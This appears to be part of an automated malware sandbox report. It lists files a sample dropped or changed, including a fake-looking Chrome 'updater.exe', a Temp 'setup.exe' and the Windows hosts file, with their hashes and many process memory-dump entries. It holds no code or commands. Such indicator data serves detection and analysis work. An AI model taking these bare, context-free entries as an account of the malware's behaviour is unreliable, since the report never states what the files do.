C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD5200ee446b7016b5b6e9205db476474bb
SHA14546d22c1768b021a0f58410f70fbafd90b06243
SHA2569f400db9d9ceb613b5f822204237cd8954f90cb9cf284f550a9453bf5a12ab1b
SHA5129bbde4c5636be51271138af3ea17a50995c683d3789e82b62b797d2a7b93f2b0377679f395c468bc178a065a2711996814a77cca0df9066d3a061503244c843c
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD5200ee446b7016b5b6e9205db476474bb
SHA14546d22c1768b021a0f58410f70fbafd90b06243
SHA2569f400db9d9ceb613b5f822204237cd8954f90cb9cf284f550a9453bf5a12ab1b
SHA5129bbde4c5636be51271138af3ea17a50995c683d3789e82b62b797d2a7b93f2b0377679f395c468bc178a065a2711996814a77cca0df9066d3a061503244c843c
-
C:\Windows\system32\drivers\etc\hostsFilesize
2KB
MD5d27896a00f7977cde986c55e099a7f81
SHA16f66204bc0bda00870784cace27d5939bc38a40e
SHA256882e868b6fde5161e6bbb4b18084ead8bfb9a6e195b8303599a67e37163cf2c5
SHA5120a732003d092eb78dfa9b873f0ac5ccbf56a285e383393cf44ce1b5ec7f68063531af5f92c5c6b75285709a99246ff404664cc7ad664bbf062924f0bd0298917
-
\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
\Program Files\Google\Chrome\updater.exeFilesize
7.1MB
MD5d38b0be7a75f44a464fae4850792d85f
SHA1b2f26d385e01704e04b56bde28b3e2a1892e4e7f
SHA25633b1ee0ef1ce8e0a1f9e6b4e192eacf6f94b23836898c8ba27b0c057493a9727
SHA512d7fafa719384524906a42239f5b18a2c2859bdd68eb4fd6ae63ab653c556a88752903f711cf10b5d1f8838858fbd296997e97ebde74735d881ffadd35f09171c
-
\Users\Admin\AppData\Local\Temp\setup.exeFilesize
7.1MB
MD50810352270005ca86d15c8ba0d2704ab
SHA16b5b3d9c32706773b5dfcc2bc6f7a2529480c6fe
SHA256dc8e45248dbc615f80a6cd7a28fbef0d925bdce86bee35762abe45efa57a7a8d
SHA512ec1fff1b05ca1e4f61f6b57b1f53eaa875587de3bfa3687d95fd705ca85480f15992d504454a17819dfa5f927cd37f67e8c9225b249ecd587ece18ed0884af80
-
memory/304-171-0x0000000000000000-mapping.dmp
-
memory/320-170-0x000007FEF3A40000-0x000007FEF459D000-memory.dmpFilesize
11.4MB
-
memory/320-168-0x000007FEF45A0000-0x000007FEF4FC3000-memory.dmpFilesize
10.1MB
-
memory/320-177-0x00000000011D4000-0x00000000011D7000-memory.dmpFilesize
12KB
-
memory/320-178-0x00000000011DB000-0x00000000011FA000-memory.dmpFilesize
124KB
-
memory/320-179-0x00000000011DB000-0x00000000011FA000-memory.dmpFilesize
124KB
-
memory/320-163-0x0000000000000000-mapping.dmp
-
memory/332-114-0x0000000000000000-mapping.dmp
-
memory/436-109-0x0000000000000000-mapping.dmp
-
memory/436-154-0x0000000000000000-mapping.dmp
-
memory/568-182-0x0000000000000000-mapping.dmp
-
memory/592-96-0x0000000000000000-mapping.dmp
-
memory/592-118-0x000000000292B000-0x000000000294A000-memory.dmpFilesize
124KB
-
memory/592-117-0x000000000292B000-0x000000000294A000-memory.dmpFilesize
124KB
-
memory/592-116-0x0000000002924000-0x0000000002927000-memory.dmpFilesize
12KB
-
memory/592-108-0x000007FEF30A0000-0x000007FEF3BFD000-memory.dmpFilesize
11.4MB
-
memory/592-105-0x000007FEF3C00000-0x000007FEF4623000-memory.dmpFilesize
10.1MB
-
memory/764-107-0x0000000000000000-mapping.dmp
-
memory/804-160-0x0000000000000000-mapping.dmp
-
memory/812-100-0x0000000000000000-mapping.dmp
-
memory/836-141-0x000000013F680000-0x000000014037A000-memory.dmpFilesize
13.0MB
-
memory/836-189-0x0000000077700000-0x00000000778A9000-memory.dmpFilesize
1.7MB
-
memory/836-146-0x0000000077700000-0x00000000778A9000-memory.dmpFilesize
1.7MB
-
memory/836-145-0x000000013F680000-0x000000014037A000-memory.dmpFilesize
13.0MB
-
memory/836-143-0x000000013F680000-0x000000014037A000-memory.dmpFilesize
13.0MB
-
memory/836-142-0x000000013F680000-0x000000014037A000-memory.dmpFilesize
13.0MB
-
memory/836-140-0x000000013F680000-0x000000014037A000-memory.dmpFilesize
13.0MB
-
memory/836-139-0x000000013F680000-0x000000014037A000-memory.dmpFilesize
13.0MB
-
memory/836-138-0x0000000077700000-0x00000000778A9000-memory.dmpFilesize
1.7MB
-
memory/836-137-0x000000013F680000-0x000000014037A000-memory.dmpFilesize
13.0MB
-
memory/836-187-0x000000013F680000-0x000000014037A000-memory.dmpFilesize
13.0MB
-
memory/836-135-0x000000013F680000-0x000000014037A000-memory.dmpFilesize
13.0MB
-
memory/836-133-0x0000000000000000-mapping.dmp
-
memory/840-54-0x0000000140000000-0x0000000140022000-memory.dmpFilesize
136KB
-
memory/840-63-0x0000000140000000-0x0000000140022000-memory.dmpFilesize
136KB
-
memory/840-55-0x0000000140000000-0x0000000140022000-memory.dmpFilesize
136KB
-
memory/840-57-0x0000000140000000-0x0000000140022000-memory.dmpFilesize
136KB
-
memory/840-60-0x0000000140000000-0x0000000140022000-memory.dmpFilesize
136KB
-
memory/840-59-0x0000000140000000-0x0000000140022000-memory.dmpFilesize
136KB
-
memory/840-62-0x0000000140000000-0x0000000140022000-memory.dmpFilesize
136KB
-
memory/840-74-0x0000000004850000-0x000000000554A000-memory.dmpFilesize
13.0MB
-
memory/840-64-0x0000000140000000-0x0000000140022000-memory.dmpFilesize
136KB
-
memory/840-65-0x0000000140000000-0x0000000140022000-memory.dmpFilesize
136KB
-
memory/840-66-0x0000000140003E0C-mapping.dmp
-
memory/840-68-0x0000000140000000-0x0000000140022000-memory.dmpFilesize
136KB
-
memory/840-69-0x0000000140000000-0x0000000140022000-memory.dmpFilesize
136KB
-
memory/840-83-0x0000000004850000-0x000000000554A000-memory.dmpFilesize
13.0MB
-
memory/840-70-0x000007FEFBF81000-0x000007FEFBF83000-memory.dmpFilesize
8KB
-
memory/876-151-0x0000000001224000-0x0000000001227000-memory.dmpFilesize
12KB
-
memory/876-147-0x0000000000000000-mapping.dmp
-
memory/876-149-0x000007FEF3C00000-0x000007FEF4623000-memory.dmpFilesize
10.1MB
-
memory/876-152-0x0000000001224000-0x0000000001227000-memory.dmpFilesize
12KB
-
memory/876-150-0x000007FEF30A0000-0x000007FEF3BFD000-memory.dmpFilesize
11.4MB
-
memory/876-153-0x000000000122B000-0x000000000124A000-memory.dmpFilesize
124KB
-
memory/920-174-0x0000000000000000-mapping.dmp
-
memory/960-164-0x0000000000000000-mapping.dmp
-
memory/964-169-0x0000000000000000-mapping.dmp
-
memory/992-180-0x00000001400014E0-mapping.dmp
-
memory/1000-97-0x0000000000000000-mapping.dmp
-
memory/1020-176-0x0000000000000000-mapping.dmp
-
memory/1056-95-0x0000000000000000-mapping.dmp
-
memory/1096-172-0x0000000000000000-mapping.dmp
-
memory/1192-104-0x0000000000000000-mapping.dmp
-
memory/1392-98-0x0000000000000000-mapping.dmp
-
memory/1412-167-0x0000000000000000-mapping.dmp
-
memory/1468-184-0x0000000000000000-mapping.dmp
-
memory/1540-113-0x0000000000000000-mapping.dmp
-
memory/1560-102-0x0000000000000000-mapping.dmp
-
memory/1572-175-0x0000000000000000-mapping.dmp
-
memory/1576-173-0x0000000000000000-mapping.dmp
-
memory/1576-129-0x0000000000000000-mapping.dmp
-
memory/1596-99-0x0000000000000000-mapping.dmp
-
memory/1600-191-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1600-157-0x0000000000000000-mapping.dmp
-
memory/1600-188-0x0000000000200000-0x0000000000220000-memory.dmpFilesize
128KB
-
memory/1600-190-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1600-186-0x00000001407F25D0-mapping.dmp
-
memory/1612-181-0x0000000000000000-mapping.dmp
-
memory/1632-115-0x0000000000000000-mapping.dmp
-
memory/1632-162-0x0000000000000000-mapping.dmp
-
memory/1680-89-0x000007FEF3A40000-0x000007FEF459D000-memory.dmpFilesize
11.4MB
-
memory/1680-93-0x000000000232B000-0x000000000234A000-memory.dmpFilesize
124KB
-
memory/1680-90-0x0000000002324000-0x0000000002327000-memory.dmpFilesize
12KB
-
memory/1680-85-0x0000000000000000-mapping.dmp
-
memory/1680-92-0x0000000002324000-0x0000000002327000-memory.dmpFilesize
12KB
-
memory/1680-91-0x000000001B770000-0x000000001BA6F000-memory.dmpFilesize
3.0MB
-
memory/1680-88-0x000007FEF45A0000-0x000007FEF4FC3000-memory.dmpFilesize
10.1MB
-
memory/1692-110-0x0000000000000000-mapping.dmp
-
memory/1696-126-0x000007FEF45A0000-0x000007FEF4FC3000-memory.dmpFilesize
10.1MB
-
memory/1696-127-0x000007FEF3A40000-0x000007FEF459D000-memory.dmpFilesize
11.4MB
-
memory/1696-120-0x0000000000000000-mapping.dmp
-
memory/1696-131-0x000000000244B000-0x000000000246A000-memory.dmpFilesize
124KB
-
memory/1696-130-0x0000000002444000-0x0000000002447000-memory.dmpFilesize
12KB
-
memory/1696-128-0x0000000002444000-0x0000000002447000-memory.dmpFilesize
12KB
-
memory/1700-106-0x0000000000000000-mapping.dmp
-
memory/1708-161-0x0000000000000000-mapping.dmp
-
memory/1844-112-0x0000000000000000-mapping.dmp
-
memory/1888-158-0x0000000000000000-mapping.dmp
-
memory/1948-111-0x0000000000000000-mapping.dmp
-
memory/1948-155-0x0000000000000000-mapping.dmp
-
memory/1980-159-0x0000000000000000-mapping.dmp
-
memory/1996-84-0x000000013F730000-0x000000014042A000-memory.dmpFilesize
13.0MB
-
memory/1996-79-0x000000013F730000-0x000000014042A000-memory.dmpFilesize
13.0MB
-
memory/1996-72-0x0000000000000000-mapping.dmp
-
memory/1996-122-0x000000013F730000-0x000000014042A000-memory.dmpFilesize
13.0MB
-
memory/1996-75-0x000000013F730000-0x000000014042A000-memory.dmpFilesize
13.0MB
-
memory/1996-86-0x0000000077700000-0x00000000778A9000-memory.dmpFilesize
1.7MB
-
memory/1996-123-0x0000000077700000-0x00000000778A9000-memory.dmpFilesize
1.7MB
-
memory/1996-82-0x000000013F730000-0x000000014042A000-memory.dmpFilesize
13.0MB
-
memory/1996-81-0x000000013F730000-0x000000014042A000-memory.dmpFilesize
13.0MB
-
memory/1996-80-0x0000000077700000-0x00000000778A9000-memory.dmpFilesize
1.7MB
-
memory/1996-76-0x000000013F730000-0x000000014042A000-memory.dmpFilesize
13.0MB
-
memory/1996-78-0x000000013F730000-0x000000014042A000-memory.dmpFilesize
13.0MB
-
memory/1996-77-0x000000013F730000-0x000000014042A000-memory.dmpFilesize
13.0MB
-
memory/2032-144-0x000000013F680000-0x000000014037A000-memory.dmpFilesize
13.0MB
-
memory/2032-136-0x000000013F680000-0x000000014037A000-memory.dmpFilesize
13.0MB
-
memory/2044-94-0x0000000000000000-mapping.dmp